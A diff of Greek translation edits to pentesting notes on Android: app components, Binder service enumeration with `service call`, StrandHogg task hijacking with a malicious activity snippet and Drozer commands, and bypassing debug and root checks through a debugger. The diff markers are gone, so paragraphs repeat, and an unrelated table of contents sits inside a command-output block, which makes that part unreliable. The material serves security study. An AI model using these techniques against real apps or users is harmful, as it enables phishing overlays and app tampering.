Στις εφαρμογές Android, οι **δραστηριότητες** είναι σαν οθόνες, που δείχνουν διάφορα μέρη της διεπαφής χρήστη της εφαρμογής. Μια εφαρμογή μπορεί να έχει πολλές δραστηριότητες, καθεμία από τις οποίες παρουσιάζει μια μοναδική οθόνη στον χρήστη.
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Είναι καθορισμένη στο αρχείο μανιφέστ της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents:
Η **δραστηριότητα εκκίνησης** είναι η κύρια πύλη σε μια εφαρμογή, που εκκινείται όταν πατάτε το εικονίδιο της εφαρμογής. Ορίζεται στο αρχείο μανιφέστ της εφαρμογής με συγκεκριμένα MAIN και LAUNCHER intents:
```html
<activity android:name=".LauncherActivity">
<intent-filter>
@ -246,7 +246,7 @@ android:host="example"
```
Όχι όλες οι εφαρμογές χρειάζονται μια δραστηριότητα εκκίνησης, ειδικά αυτές χωρίς διεπαφή χρήστη, όπως οι υπηρεσίες φόντου.
Οι δραστηριότητες μπορούν να είναι διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "exported" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα:
Οι δραστηριότητες μπορούν να γίνουν διαθέσιμες σε άλλες εφαρμογές ή διεργασίες σημειώνοντάς τες ως "εξαγόμενες" στο μανιφέστο. Αυτή η ρύθμιση επιτρέπει σε άλλες εφαρμογές να ξεκινούν αυτή τη δραστηριότητα:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -276,9 +276,9 @@ super.onCreate();
[Υπηρεσίες](https://developer.android.com/guide/components/services) είναι **λειτουργίες παρασκηνίου** ικανές να εκτελούν εργασίες χωρίς διεπαφή χρήστη. Αυτές οι εργασίες μπορούν να συνεχίσουν να εκτελούνται ακόμη και όταν οι χρήστες αλλάζουν σε διαφορετικές εφαρμογές, καθιστώντας τις υπηρεσίες κρίσιμες για **μακροχρόνιες λειτουργίες**.
Οι υπηρεσίες είναι ευέλικτες; μπορούν να ξεκινήσουν με διάφορους τρόπους, με τις **Intents** να είναι η κύρια μέθοδος για την εκκίνησή τους ως σημείο εισόδου μιας εφαρμογής. Μόλις ξεκινήσει μια υπηρεσία χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί ρητά η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μεταφορά δεδομένων.
Οι υπηρεσίες είναι ευέλικτες; μπορούν να ξεκινήσουν με διάφορους τρόπους, με τις **Intents** να είναι η κύρια μέθοδος για την εκκίνηση τους ως σημείο εισόδου μιας εφαρμογής. Μόλις ξεκινήσει μια υπηρεσία χρησιμοποιώντας τη μέθοδο `startService`, η μέθοδος `onStart` ενεργοποιείται και συνεχίζει να εκτελείται μέχρι να κληθεί ρητά η μέθοδος `stopService`. Εναλλακτικά, αν ο ρόλος μιας υπηρεσίας εξαρτάται από μια ενεργή σύνδεση πελάτη, χρησιμοποιείται η μέθοδος `bindService` για τη σύνδεση του πελάτη με την υπηρεσία, ενεργοποιώντας τη μέθοδο `onBind` για τη μεταφορά δεδομένων.
Μια ενδιαφέρουσα εφαρμογή των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής παρασκηνίου ή την ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω **εξαγωγής**. Αυτή δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο αρχείο Android Manifest:
Μια ενδιαφέρουσα εφαρμογή των υπηρεσιών περιλαμβάνει την αναπαραγωγή μουσικής παρασκηνίου ή την ανάκτηση δεδομένων δικτύου χωρίς να εμποδίζεται η αλληλεπίδραση του χρήστη με μια εφαρμογή. Επιπλέον, οι υπηρεσίες μπορούν να γίνουν προσβάσιμες σε άλλες διεργασίες στην ίδια συσκευή μέσω **εξαγωγής**. Αυτό δεν είναι η προεπιλεγμένη συμπεριφορά και απαιτεί ρητή ρύθμιση στο αρχείο Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -290,15 +290,15 @@ super.onCreate();
Οι εκπομπές μπορεί να είναι είτε **ασύγχρονες**, φτάνοντας σε όλους τους δέκτες χωρίς σειρά, είτε **σύγχρονες**, όπου οι δέκτες λαμβάνουν την εκπομπή με βάση καθορισμένες προτεραιότητες. Ωστόσο, είναι σημαντικό να σημειωθεί ο πιθανός κίνδυνος ασφαλείας, καθώς οποιαδήποτε εφαρμογή μπορεί να δώσει προτεραιότητα στον εαυτό της για να παρεμποδίσει μια εκπομπή.
Για να κατανοήσετε τη λειτουργία ενός δέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους δέκτες, ειδικά σε **Ordered Broadcasts**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
Για να κατανοήσετε τη λειτουργικότητα ενός δέκτη, αναζητήστε τη μέθοδο **`onReceive`** μέσα στην κλάση του. Ο κώδικας αυτής της μεθόδου μπορεί να χειριστεί το ληφθέν Intent, υπογραμμίζοντας την ανάγκη για επικύρωση δεδομένων από τους δέκτες, ειδικά σε **Ordered Broadcasts**, οι οποίες μπορούν να τροποποιήσουν ή να απορρίψουν το Intent.
### Content Provider
**Content Providers** είναι απαραίτητοι για **την κοινή χρήση δομημένων δεδομένων** μεταξύ εφαρμογών, τονίζοντας τη σημασία της εφαρμογής **αδειών** για την εξασφάλιση της ασφάλειας των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του διαδικτύου. Συγκεκριμένες άδειες, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμες για τον έλεγχο της πρόσβασης. Επιπλέον, προσωρινή πρόσβαση μπορεί να παραχωρηθεί μέσω ρυθμίσεων **`grantUriPermission`** στο manifest της εφαρμογής, εκμεταλλευόμενη χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
**Content Providers** είναι απαραίτητοι για **την κοινή χρήση δομημένων δεδομένων** μεταξύ εφαρμογών, τονίζοντας τη σημασία της εφαρμογής **αδειών** για την εξασφάλιση της ασφάλειας των δεδομένων. Επιτρέπουν στις εφαρμογές να έχουν πρόσβαση σε δεδομένα από διάφορες πηγές, συμπεριλαμβανομένων βάσεων δεδομένων, συστημάτων αρχείων ή του διαδικτύου. Συγκεκριμένες άδειες, όπως **`readPermission`** και **`writePermission`**, είναι κρίσιμες για τον έλεγχο της πρόσβασης. Επιπλέον, μπορεί να παραχωρηθεί προσωρινή πρόσβαση μέσω ρυθμίσεων **`grantUriPermission`** στο manifest της εφαρμογής, εκμεταλλευόμενοι χαρακτηριστικά όπως `path`, `pathPrefix` και `pathPattern` για λεπτομερή έλεγχο πρόσβασης.
Η επικύρωση εισόδου είναι πρωταρχικής σημασίας για την αποφυγή ευπαθειών, όπως η SQL injection. Οι Content Providers υποστηρίζουν βασικές λειτουργίες: `insert()`, `update()`, `delete()`, και `query()`, διευκολύνοντας τη χειρισμό και την κοινή χρήση δεδομένων μεταξύ εφαρμογών.
**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν στις ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για την αποφυγή της τυχαίας έκθεσης ευαίσθητων δεδομένων.
**FileProvider**, ένας εξειδικευμένος Content Provider, επικεντρώνεται στην ασφαλή κοινή χρήση αρχείων. Ορίζεται στο manifest της εφαρμογής με συγκεκριμένα χαρακτηριστικά για τον έλεγχο της πρόσβασης σε φακέλους, που δηλώνονται με `android:exported` και `android:resource` που δείχνουν σε ρυθμίσεις φακέλων. Συνιστάται προσοχή κατά την κοινή χρήση καταλόγων για την αποφυγή της τυχαίας έκθεσης ευαίσθητων δεδομένων.
Example manifest declaration for FileProvider:
```xml
@ -323,7 +323,7 @@ android:resource="@xml/filepaths" />
## WebViews
WebViews είναι σαν **μικροί περιηγητές ιστού** μέσα σε εφαρμογές Android, αντλώντας περιεχόμενο είτε από το διαδίκτυο είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς περιηγητές, ωστόσο υπάρχουν τρόποι για **μείωση αυτών των κινδύνων** μέσω συγκεκριμένων **ρυθμίσεων**.
Τα WebViews είναι σαν **μικροί περιηγητές ιστού** μέσα σε εφαρμογές Android, αντλώντας περιεχόμενο είτε από το διαδίκτυο είτε από τοπικά αρχεία. Αντιμετωπίζουν παρόμοιους κινδύνους με τους κανονικούς περιηγητές, ωστόσο υπάρχουν τρόποι για **μείωση αυτών των κινδύνων** μέσω συγκεκριμένων **ρυθμίσεων**.
Η Android προσφέρει δύο κύριους τύπους WebView:
@ -332,29 +332,29 @@ WebViews είναι σαν **μικροί περιηγητές ιστού** μέ
Ένα βασικό σημείο είναι ότι οι περιηγητές WebView **δεν μοιράζονται cookies** με τον κύριο περιηγητή της συσκευής.
Για τη φόρτωση περιεχομένου, είναι διαθέσιμες μέθοδοι όπως `loadUrl`, `loadData`, και `loadDataWithBaseURL`. Είναι κρίσιμο να διασφαλιστεί ότι αυτές οι διευθύνσεις URL ή τα αρχεία είναι **ασφαλή προς χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση της JavaScript με `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS.
Για τη φόρτωση περιεχομένου, είναι διαθέσιμες μέθοδοι όπως `loadUrl`, `loadData` και `loadDataWithBaseURL`. Είναι κρίσιμο να διασφαλιστεί ότι αυτές οι διευθύνσεις URL ή τα αρχεία είναι **ασφαλή προς χρήση**. Οι ρυθμίσεις ασφαλείας μπορούν να διαχειριστούν μέσω της κλάσης `WebSettings`. Για παράδειγμα, η απενεργοποίηση της JavaScript με `setJavaScriptEnabled(false)` μπορεί να αποτρέψει επιθέσεις XSS.
Η JavaScript "Bridge" επιτρέπει στα αντικείμενα Java να αλληλεπιδρούν με τη JavaScript, απαιτώντας οι μέθοδοι να είναι επισημασμένες με `@JavascriptInterface` για ασφάλεια από την Android 4.2 και μετά.
Η επιτρεπόμενη πρόσβαση περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στις WebViews να προσεγγίζουν τους Content Providers, οι οποίοι θα μπορούσαν να είναι κίνδυνος εκτός αν οι διευθύνσεις URL περιεχομένου επαληθευτούν ως ασφαλείς.
Η δυνατότητα πρόσβασης περιεχομένου (`setAllowContentAccess(true)`) επιτρέπει στα WebViews να προσεγγίζουν τους Content Providers, κάτι που θα μπορούσε να είναι κίνδυνος εκτός αν οι διευθύνσεις URL περιεχομένου επαληθευτούν ως ασφαλείς.
Για τον έλεγχο πρόσβασης σε αρχεία:
- Η απενεργοποίηση της πρόσβασης σε αρχεία (`setAllowFileAccess(false)`) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για ορισμένα περιουσιακά στοιχεία, διασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη ευαίσθητο περιεχόμενο.
- Η απενεργοποίηση της πρόσβασης σε αρχεία (`setAllowFileAccess(false)`) περιορίζει την πρόσβαση στο σύστημα αρχείων, με εξαιρέσεις για ορισμένα assets, διασφαλίζοντας ότι χρησιμοποιούνται μόνο για μη ευαίσθητο περιεχόμενο.
## Άλλα Συστατικά Εφαρμογών και Διαχείριση Κινητών Συσκευών
### **Ψηφιακή Υπογραφή Εφαρμογών**
- **Ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, διασφαλίζοντας ότι είναι **αυθεντικά συγγραφείς** πριν από την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερικό CA**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
- Η **ψηφιακή υπογραφή** είναι απαραίτητη για τις εφαρμογές Android, διασφαλίζοντας ότι είναι **αυθεντικά συγγραφείς** πριν από την εγκατάσταση. Αυτή η διαδικασία χρησιμοποιεί ένα πιστοποιητικό για την αναγνώριση της εφαρμογής και πρέπει να επαληθευτεί από τον διαχειριστή πακέτων της συσκευής κατά την εγκατάσταση. Οι εφαρμογές μπορούν να είναι **αυτο-υπογεγραμμένες ή πιστοποιημένες από εξωτερικό CA**, προστατεύοντας από μη εξουσιοδοτημένη πρόσβαση και διασφαλίζοντας ότι η εφαρμογή παραμένει αμετάβλητη κατά την παράδοσή της στη συσκευή.
### **Επαλήθευση Εφαρμογών για Αυξημένη Ασφάλεια**
- Ξεκινώντας από την **Android 4.2**, μια δυνατότητα που ονομάζεται **Verify Apps** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν από την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανώς επιβλαβείς εφαρμογές, ή ακόμη και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, ενισχύοντας την ασφάλεια του χρήστη.
- Ξεκινώντας από την **Android 4.2**, μια δυνατότητα που ονομάζεται **Verify Apps** επιτρέπει στους χρήστες να ελέγχουν τις εφαρμογές για ασφάλεια πριν από την εγκατάσταση. Αυτή η **διαδικασία επαλήθευσης** μπορεί να προειδοποιήσει τους χρήστες για πιθανώς επιβλαβείς εφαρμογές ή ακόμη και να αποτρέψει την εγκατάσταση ιδιαίτερα κακόβουλων, ενισχύοντας την ασφάλεια του χρήστη.
### **Διαχείριση Κινητών Συσκευών (MDM)**
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **Device Administration API**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για να διαχειρίζονται και να ασφαλίζουν αποτελεσματικά τις κινητές συσκευές. Οι κύριες λειτουργίες περιλαμβάνουν **επιβολή πολιτικών κωδικών πρόσβασης**, **υποχρεωτική κρυπτογράφηση αποθήκευσης**, και **άδεια απομακρυσμένης διαγραφής δεδομένων**, διασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
- Οι **λύσεις MDM** παρέχουν **επίβλεψη και ασφάλεια** για κινητές συσκευές μέσω του **Device Administration API**. Απαιτούν την εγκατάσταση μιας εφαρμογής Android για να διαχειρίζονται και να ασφαλίζουν αποτελεσματικά τις κινητές συσκευές. Οι βασικές λειτουργίες περιλαμβάνουν **επιβολή πολιτικών κωδικών πρόσβασης**, **υποχρεωτική κρυπτογράφηση αποθήκευσης** και **άδεια απομακρυσμένης διαγραφής δεδομένων**, διασφαλίζοντας πλήρη έλεγχο και ασφάλεια πάνω στις κινητές συσκευές.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -365,9 +365,9 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
## Εντοπισμός και Εκμετάλλευση Υπηρεσιών AIDL / Binder
## Καταμέτρηση και Εκμετάλλευση Υπηρεσιών AIDL / Binder
Android *Binder* IPC εκθέτει πολλές **υπηρεσίες συστήματος και προμηθευτών**. Αυτές οι υπηρεσίες γίνονται μια **επιφάνεια επίθεσης** όταν εξάγονται χωρίς κατάλληλο έλεγχο δικαιωμάτων (η ίδια η AIDL δεν εκτελεί *κανέναν* έλεγχο πρόσβασης).
Το Android *Binder* IPC εκθέτει πολλές **υπηρεσίες συστήματος και προμηθευτών**. Αυτές οι υπηρεσίες γίνονται μια **επιφάνεια επίθεσης** όταν εξάγονται χωρίς κατάλληλο έλεγχο δικαιωμάτων (η ίδια η στρώση AIDL δεν εκτελεί *κανέναν* έλεγχο πρόσβασης).
### 1. Ανακάλυψη τρεχουσών υπηρεσιών
```bash
@ -377,11 +377,10 @@ am list services # identical output, ActivityManager wrapper
```
1. Εισαγωγή
2. Βασικές έννοιες
3. Αρχιτεκτονική εφαρμογών Android
4. Ανάλυση εφαρμογών
5. Δοκιμές ασφαλείας
6. Εργαλεία και τεχνικές
7. Συμπεράσματα
3. Τεχνικές hacking
4. Εργαλεία και πόροι
5. Στρατηγικές pentesting
6. Συμπεράσματα
```
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
@ -390,7 +389,7 @@ am list services # identical output, ActivityManager wrapper
* Το **όνομα Binder** (π.χ. `mtkconnmetrics`) είναι αυτό που θα περαστεί στη `service call`.
* Η τιμή μέσα στις αγκύλες είναι η πλήρως προσδιορισμένη **διεπαφή AIDL** από την οποία δημιουργήθηκε το stub.
### 2. Απόκτηση του περιγραφέα διεπαφής (PING)
### 2. Αποκτήστε τον περιγραφέα διεπαφής (PING)
Κάθε Binder stub υλοποιεί αυτόματα τον **κωδικό συναλλαγής `0x5f4e5446`** (`1598968902` δεκαδικό, ASCII "_NTF").
```bash
# "ping" the service
@ -406,7 +405,7 @@ service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
* `i64 <long>` υπογεγραμμένη τιμή 64-bit
* `s16 <string>` UTF-16 string (Android 13+ χρησιμοποιεί `utf16`)
Παράδειγμα εκκίνηση παρακολούθησης δικτύου με uid **1** σε συσκευή MediaTek:
Παράδειγμα ξεκινήστε την παρακολούθηση δικτύου με uid **1** σε μια συσκευή MediaTek:
```bash
service call mtkconnmetrics 8 i32 1
```

View File

@ -39,7 +39,7 @@ android:launchMode="singleTask" >
</intent-filter>
</activity>
```
2. Η κακόβουλη εφαρμογή ξεκινά μία φορά ώστε η εργασία (με την ψεύτικη συγγένεια) να υπάρχει στις πρόσφατες εργασίες.
2. Η κακόβουλη εφαρμογή ξεκινά μία φορά ώστε η εργασία (με την παραποιημένη συγγένεια) να υπάρχει στις πρόσφατες εργασίες.
3. Όταν ο χρήστης ανοίξει αργότερα την πραγματική εφαρμογή, το Android βρίσκει ότι υπάρχει ήδη μια εργασία της οποίας η **ρίζα συγγένεια ταιριάζει με το πακέτο** και απλά φέρνει αυτή την εργασία στο προσκήνιο.
4. Η διεπαφή του επιτιθέμενου εμφανίζεται πρώτη.
@ -47,7 +47,7 @@ android:launchMode="singleTask" >
Η ευπάθεια που αναφέρθηκε στην εφαρμογή **Caller ID (caller.id.phone.number.block)** δείχνει ότι η επίθεση *λειτουργεί επίσης* κατά της προεπιλεγμένης λειτουργίας εκκίνησης `standard`:
1. Η εφαρμογή του επιτιθέμενου δημιουργεί μια ψεύτικη ρίζα δραστηριότητας και αμέσως κρύβει τον εαυτό της:
1. Η εφαρμογή του επιτιθέμενου δημιουργεί μια ψεύτικη ριζική δραστηριότητα και αμέσως κρύβει τον εαυτό της:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
@ -76,7 +76,7 @@ android:taskAffinity="com.caller.id.phone.number.block" >
### StrandHogg 2.0 (CVE-2020-0096) Reflection-based task hijack
Η ασφάλεια του Google του Μαΐου 2020 διόρθωσε μια πιο προηγμένη παραλλαγή που ονομάζεται **StrandHogg 2.0**. Η εκμετάλλευση **δεν βασίζεται καθόλου στο `taskAffinity`**. Αντίθετα, χρησιμοποιεί *reflection* για να εισάγει δυναμικά τη δραστηριότητα του επιτιθέμενου στην κορυφή *κάθε* τρέχουσας εργασίας, παρακάμπτοντας εντελώς τον περιορισμό “shared-UID” που εισήχθη από το Android 11.
Η ασφάλεια του Google του Μαΐου 2020 διόρθωσε μια πιο προηγμένη παραλλαγή που ονομάζεται **StrandHogg 2.0**. Η εκμετάλλευση **δεν βασίζεται καθόλου στο `taskAffinity`**; αντ' αυτού χρησιμοποιεί *reflection* για να εισάγει δυναμικά τη δραστηριότητα του επιτιθέμενου στην κορυφή *κάθε* τρέχουσας εργασίας, παρακάμπτοντας εντελώς τον περιορισμό “shared-UID” που εισήχθη από το Android 11.
Κύρια σημεία:
@ -104,8 +104,8 @@ java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
```bash
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
```
Μια εργασία της οποίας η ρίζα συγγένεια ισούται με το πακέτο του θύματος αλλά η κορυφαία δραστηριότητα ανήκει σε *διαφορετικό* πακέτο είναι μια κόκκινη σημαία.
3. Δημιουργήστε μια κακόβουλη εφαρμογή όπως περιγράφεται παραπάνω, ή χρησιμοποιήστε **[Drozer](https://github.com/WithSecureLabs/drozer)**:
A task whose root affinity equals the victim package but whose top activity belongs to a *different* package is a red flag.
3. Craft a malicious app as described above, or use **[Drozer](https://github.com/WithSecureLabs/drozer)**:
```bash
drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
@ -119,7 +119,7 @@ run app.activity.info com.victim
Οι προγραμματιστές θα πρέπει:
* Να ορίσουν ρητά `android:taskAffinity=""` στο επίπεδο `<application>` (συνιστάται) **ή** να δώσουν σε κάθε δραστηριότητα μια μοναδική, ιδιωτική συγγένεια.
* Για πολύ ευαίσθητες οθόνες, να συνδυάσουν τα παραπάνω με `android:launchMode="singleInstance"` ή σύγχρονα [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) προστασίες.
* Για πολύ ευαίσθητες οθόνες, να συνδυάσουν τα παραπάνω με `android:launchMode="singleInstance"` ή σύγχρονα [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) προστατευτικά.
* Να αναβαθμίσουν την `targetSdkVersion` της εφαρμογής και να επιβάλουν τις συμπεριφορές του **Android 11** όπου οι εργασίες δεν μοιράζονται μεταξύ πακέτων από προεπιλογή.
* Να στοχεύσουν το **Android 12 (API 31) ή υψηλότερο** ώστε το υποχρεωτικό χαρακτηριστικό `android:exported` να αναγκάζει τους προγραμματιστές να ελέγχουν κάθε εξωτερικά προσβάσιμο συστατικό.
* Να εξετάσουν την αυτοάμυνα κατά την εκτέλεση: περιοδικά να ελέγχουν το `ActivityTaskManager` για να διασφαλίσουν ότι το όνομα του πακέτου της κορυφαίας δραστηριότητας ταιριάζει με το δικό τους.
@ -128,7 +128,7 @@ run app.activity.info com.victim
## Related UI-Hijacking techniques
Το hijacking εργασιών συχνά συνδυάζεται ή αντικαθίσταται από **tapjacking** (παραπλανητική διεπαφή βασισμένη σε επικάλυψη). Η έρευνα **TapTrap** του 2025 έδειξε ότι πλήρως διαφανείς *δραστηριότητες που οδηγούνται από κινούμενα σχέδια* μπορούν να παρακάμψουν τους περιορισμούς επαφής επικάλυψης που εισήχθησαν στο Android 1214 και να εξαπατήσουν τους χρήστες να παραχωρήσουν επικίνδυνα δικαιώματα. Ενώ το TapTrap δεν είναι αυστηρά *hijacking* εργασιών, ο τελικός στόχος (κλικ phishing) είναι ταυτόσημος επομένως οι σύγχρονες αξιολογήσεις θα πρέπει να ελέγχουν και τις δύο επιφάνειες επίθεσης.
Το hijacking εργασιών συχνά συνδυάζεται ή αντικαθίσταται από **tapjacking** (παραπλανητική διεπαφή βασισμένη σε επικάλυψη). Η έρευνα του 2025 **TapTrap** έδειξε ότι πλήρως διαφανείς *δραστηριότητες που οδηγούνται από κινούμενα σχέδια* μπορούν να παρακάμψουν τους περιορισμούς επαφής επικάλυψης που εισήχθησαν στο Android 1214 και να εξαπατήσουν τους χρήστες να παραχωρήσουν επικίνδυνα δικαιώματα. Ενώ το TapTrap δεν είναι αυστηρά *task* hijacking, ο τελικός στόχος (κλικ phishing) είναι ταυτόσημος επομένως οι σύγχρονες αξιολογήσεις θα πρέπει να ελέγχουν και τις δύο επιφάνειες επίθεσης.
---

View File

@ -15,7 +15,7 @@
1. **Αποσυμπίεση του APK:**
- Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK.
- Στο αρχείο _android-manifest_, εισάγετε `android:debuggable="true"` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
- Στο αρχείο _android-manifest_, προσθέστε `android:debuggable="true"` για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης.
- Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή.
2. **Εγκατάσταση της τροποποιημένης εφαρμογής:**
@ -24,7 +24,7 @@
3. **Ανάκτηση του ονόματος πακέτου:**
- Εκτελέστε `adb shell pm list packages 3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα πακέτου.
- Εκτελέστε `adb shell pm list packages 3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου.
4. **Ρύθμιση της εφαρμογής να περιμένει σύνδεση αποσφαλμάτωσης:**
@ -43,7 +43,7 @@
### **Παράκαμψη ελέγχων**
Η εφαρμογή, σε ορισμένα σημεία, θα επαληθεύσει αν είναι αποσφαλματώσιμη και θα ελέγξει επίσης για δυαδικά αρχεία που υποδεικνύουν μια ριζωμένη συσκευή. Ο αποσφαλματωτής μπορεί να χρησιμοποιηθεί για να τροποποιήσει τις πληροφορίες της εφαρμογής, να απενεργοποιήσει τη σημαία αποσφαλμάτωσης και να αλλάξει τα ονόματα των αναζητούμενων δυαδικών αρχείων για να παρακάμψει αυτούς τους ελέγχους.
Η εφαρμογή, σε ορισμένα σημεία, θα επαληθεύσει αν είναι αποσφαλματώσιμη και θα ελέγξει επίσης για δυαδικά αρχεία που υποδεικνύουν μια ριζωμένη συσκευή. Ο αποσφαλματωτής μπορεί να χρησιμοποιηθεί για να τροποποιήσει τις πληροφορίες της εφαρμογής, να αφαιρέσει τη σημαία αποσφαλμάτωσης και να αλλάξει τα ονόματα των αναζητούμενων δυαδικών αρχείων για να παρακάμψει αυτούς τους ελέγχους.
Για τον έλεγχο αποσφαλμάτωσης:
@ -78,10 +78,10 @@
- Η εκμετάλλευση πραγματοποιήθηκε με την τοποθέτηση σημείων διακοπής και τον έλεγχο της ροής της εφαρμογής.
- Εντολές όπως `classes` και `methods <class_name>` χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής.
- Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο `onClick`, και η εκτέλεσή της ελέγχθηκε.
- Οι εντολές `locals`, `next`, και `set` χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ιδιαίτερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked".
- Οι εντολές `locals`, `next`, και `set` χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ειδικότερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked".
- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο.
Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειριστεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειραγωγηθεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
---
@ -90,7 +90,7 @@
Ακόμα και αν το στοχευόμενο APK _δεν_ αποστέλλεται με τη σημαία `android:debuggable`, πρόσφατη έρευνα έδειξε ότι είναι δυνατό να αναγκαστούν **τυχαίες εφαρμογές** να ξεκινούν με τη σημαία χρόνου εκτέλεσης `DEBUG_ENABLE_JDWP` εκμεταλλευόμενοι τον τρόπο που ο Zygote αναλύει τα επιχειρήματα γραμμής εντολών.
